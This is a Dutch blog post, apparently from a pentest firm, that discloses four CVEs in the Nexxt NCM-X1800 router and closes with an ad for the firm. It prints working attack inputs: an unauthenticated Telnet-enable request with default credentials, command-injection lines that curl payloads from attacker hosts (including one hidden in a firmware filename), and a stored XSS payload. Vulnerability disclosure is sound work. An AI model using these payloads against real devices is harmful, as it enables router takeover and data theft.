De afgelopen tijd heeft Ian wat tijd gestoken in het analyseren van de Nexxt Solutions NCM-X1800 Mesh Router. Wat bleek? Er zaten een aantal flinke security issues in, waaronder vier kwetsbaarheden die ook de moeite waard waren om deze te melden en exploits voor te maken. In deze blog leggen wij kort de ins en outs uit.
Ook als je geen hardcore hacker of security specialist bent, kun je dit artikel (hopelijk) prima volgen.
CVE-2025-52376: Telnet aanzetten op afstand (zonder in te loggen!)
Wat is hier aan de hand?
Stel je voor: je hebt een router, maar er zit een geheime deur in die je kunt openen zonder sleutel. Dat is deze bug. Iedereen op het netwerk – zonder in te loggen – kan een speciaal verzoek sturen naar de router om een soort “achterdeur” aan te zetten: de Telnet-service. En alsof dat nog niet genoeg is: die dienst draait met een standaard gebruikersnaam en wachtwoord: telnetadmin.
Wat kun je hiermee?
Volledige toegang tot de command line van het apparaat. Je praat direct met het brein van de router.
Hoe werkt het technisch?
De router accepteert het volgende HTTP-verzoek zonder controle:
POST /web/um_open_telnet.cgi HTTP/1.0
mode_name=/web/um_open_telnet
nonedata=12345678
telnetEnable=1
Daarna kun je met telnetadmin:telnetadmin gewoon inloggen op de shell van het apparaat. Je krijgt dan toegang tot het onderliggende Linux-systeem (BusyBox).
nc -nv 192.168.1.1 23
# login: telnetadmin
# password: telnetadmin
heb ook een scriptje gemaakt dat alles voor je automatiseert. Check het op Github hier
CVE-2025-52377: Command injection via ping/traceroute
Wat is dit?
Routers hebben vaak een functie waarmee je een ander apparaat kunt “pingen” of een traceroute kunt doen om netwerkproblemen op te sporen. Maar bij deze router kun je via dat invoerveld ook systeemcommando’s meesturen. Denk aan:
192.168.1.1; curl http://mijndomein/payload.Waarom is dit erg?
Een ingelogde gebruiker (en soms zelfs zonder in te loggen, afhankelijk van configuratie) kan commando’s uitvoeren alsof hij de beheerder is. Daarmee kun je bijvoorbeeld malware downloaden, uitvoeren, of een omgekeerde verbinding opzetten (reverse shell).
Wat ging er fout?
De router controleert niet goed of het IP-adres echt een IP-adres is. Alles wat je typt, wordt letterlijk als opdracht doorgegeven aan de onderliggende shell.
Stappenplan exploit:
Inloggen met standaardwachtwoord
12345678Via het ping-formulier een
curl-opdracht meesturen om je payload te downloadenPayload uitvoerbaar maken
Payload uitvoeren om toegang tot het systeem te krijgen
Hier een Python-script gemaakt dat al deze stappen automatisch uitvoert.
CVE-2025-52378: Stored XSS in Device Management
Wat betekent dit?
Met deze bug kun je JavaScript-code injecteren in het beheerderspaneel van de router – en dat blijft daar staan. Elke keer dat een beheerder de pagina opent, wordt de code uitgevoerd.
Praktisch voorbeeld:
Stel je wijzigt de naam van een apparaat naar:
<img src onerror=alert('sxss')>
Zodra een beheerder later de apparaatlijst opent, springt er een popup omhoog met je bericht – of erger: je steelt zijn sessiecookie, voert extra acties uit als admin, etc, etc…
Hoe werkt het?
De router filtert niet goed welke karakters je mag gebruiken bij het invullen van apparaatnamen. Daardoor kun je HTML en JavaScript invoeren, die vervolgens bij anderen worden weergegeven en uitgevoerd.
CVE-2025-52379: Command injection via firmware-update
Wat is hier mis?
Als je normaal gesproken firmware uploadt naar een router, verwacht je dat het bestand veilig wordt behandeld. Maar bij deze router kun je een stukje extra code toevoegen in de bestandsnaam zelf. Die naam wordt namelijk klakkeloos doorgegeven aan een shell-opdracht. Waar je als hacker misbruik van maken.
Voorbeeld van een kwaadaardige bestandsnaam:
firmware.bin`curl http://attacker.com/payload`
Gevolg: de router downloadt iets van jouw server, en zou het vervolgens uit kunnen voeren.
Exploit-stappen:
Inloggen als beheerder
Speciaal malafide bestandsnaam meegeven
Payload wordt automatisch binnengehaald en eventueel uitgevoerd
Om dit te kunnen doen hebben wij een exploit uit gebracht te hier te vinden is.
Deze router blijkt behoorlijk kwetsbaar te zijn. Ik heb in totaal vier CVE’s gepubliceerd, met volledige exploits, en verwacht eigenlijk nog veel meer problemen in dit apparaat te ontdekken. Mogelijk duiken we nog op een later moment eens in de router firmware.
Links Mitre CVE's
Check de volledige scripts, PoCs en writeups in de GitHub repo:
Kosteloos 1 uur pentesten?
Bij Tozetta kun je vrijblijvend een Pentest Quickscan aanvragen. Tijdens de Quickscan gaat een ethisch hacker kosteloos één uur een pentest uitvoeren. In dit uur maakt de ethisch hacker het aanvalsoppervlak inzichtelijk. Op basis hiervan kan een urenindicatie voor jullie vraagstuk worden bepaald en krijgen jullie inzicht in de mogelijke pentest kosten. Interesse in een pentest uitvoeren? Vul vrijblijvend onderstaand formulier in!
Vraag een Quickscan aan
- Gratis advies
- Vrijblijvend
- Vernieuwde inzichten


